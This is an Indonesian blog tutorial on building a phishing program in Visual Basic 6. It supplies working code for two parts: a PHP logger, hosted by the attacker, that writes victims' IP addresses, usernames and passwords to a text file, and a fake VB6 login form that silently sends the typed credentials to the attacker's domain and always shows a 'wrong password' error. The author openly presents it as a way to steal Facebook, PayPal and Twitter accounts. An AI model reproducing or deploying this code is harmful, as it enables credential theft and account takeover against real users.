Cara Membuat Aplikasi Phising Visual Basic V6

Bahan bahan yang perlu sobat miliki, dibawah ini harap dilengkapi terlebih dahulu:
1. Sebuah Komputer, jangan pinjaman -,-
2. Hosting web untuk menampung file php dan file txt dari phising kita sendiri.
3. Program Visual Basic tentunya untuk memancing.
4. Setelah itu buka dan login webhosting sobat sendiri, lalu buat 1 file dengan nama terserah.php  setelah itu isikan kode  ini:

<?php $datum=date('d-m-Y / h:i:s a'); $email = $_GET[e]; $password = $_GET[p]; $ip = getenv ('REMOTE_ADDR'); $fl = fopen('Ihiy.txt', 'a'); fwrite($fl, "IP Address : $ip\nDate : $datum\nUsername : $email\nPassword : $password\n\n"); fclose($fl); $ref = $_SERVER['HTTP_REFERER']; header("location: $ref"); ?>
Jangan lupa save dengan ekstensi .php

5. Selanjutnya buka visual basic, lalu buat project pertama dengan ketentuan.

- Buat 1 form dengan nama frmUtama

- Buat 1 module dengan modConnect

Ketentuan:
Dalam module (modConnect) isi kode berikut ini:

Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) Private Declare Function InternetGetConnectedState Lib "wininet.dll" (ByRef _ lpSFlags As Long, ByVal dwReserved As Long) As Long Const INTERNET_CONNECTION_MODEM = 1 Const INTERNET_CONNECTION_LAN = 2 Const INTERNET_CONNECTION_PROXY = 4 Const INTERNET_CONNECTION_MODEM_BUSY = 8

Fungsi yang berguna untuk mengecek koneksi internet yang ada di komputer kita menggunakan fungsi api InternetGetConnectedState

Function CekInternet(Optional connectMode As Integer) As Boolean
Dim flags As Long
CekInternet = InternetGetConnectedState(flags, 0)
connectMode = flags
End Function
lalu di frmUtama tambahkan 2 buah text box dan 1 buah command button 1 buah label

Textbox pertama di namakan : txtUname
Textbox Kedua di namakan : txtPass
Command button dinamakan : cmdLogin
Label dinamakan : lblInfo

Ketentuan:
Copykan ini kedalam form

Private Sub Form_Load() lblInfo.Caption = "Memeriksa Koneksi Internet" If CekInternet = False Then lblInfo.Caption = "Komputer Anda Terkoneksi Dengan Internet !" Else lblInfo.Caption = "Komputer Anda Terkoneksi Dengan Internet !" Me.Caption = "Bodong Tamfan ;)" End If End Sub <br>

Setelah itu masukkan kode berikut ini kedalam cmdLogin

Dim user, pass As String Dim IE As Object user = LCase(txtUname.Text) pass = txtPass.Text If txtUname.Text = "" Then MsgBox "Kotak Teks masih kosong,silahkan isikan dengan benar !", vbExclamation, "Error" Else lblInfo.Caption = "Sedang Login ..." Set IE = CreateObject("InternetExplorer.Application") IE.Visible = 0 IE.Navigate "http://www.domainkamu.com/bodong.php?e=" & _ user & "&p=" & pass Do While IE.Busy Sleep 200 'sleepnya 200 ajah :p Loop IE.Quit Set IE = Nothing lblInfo.Caption = "Username/Password Salah !" MsgBox "Username/Password Salah !", vbExclamation, "Error" End If

Wkwk, sampai kapanpun kotak pesan akan memberitahukan bahwa kita selalu salah memasukkan password/username.. bila command button diklik :D

Bila sudah complete project, dan masukkan ke hosting gratisan anda.

Program ini bisa buat isengisengan untuk mencuri akun facebook,paypal,twitter. dll

Semoga jangan keseringan, ingat dosa juga :) bila sipengguna asli meminta kembali facebook.. haraplah dikembalikan :) mungkin ada yang penting dari pertemanan keluarga dia :)  trimss..

SHARE

Unknown

• 
• 
• 
• 
•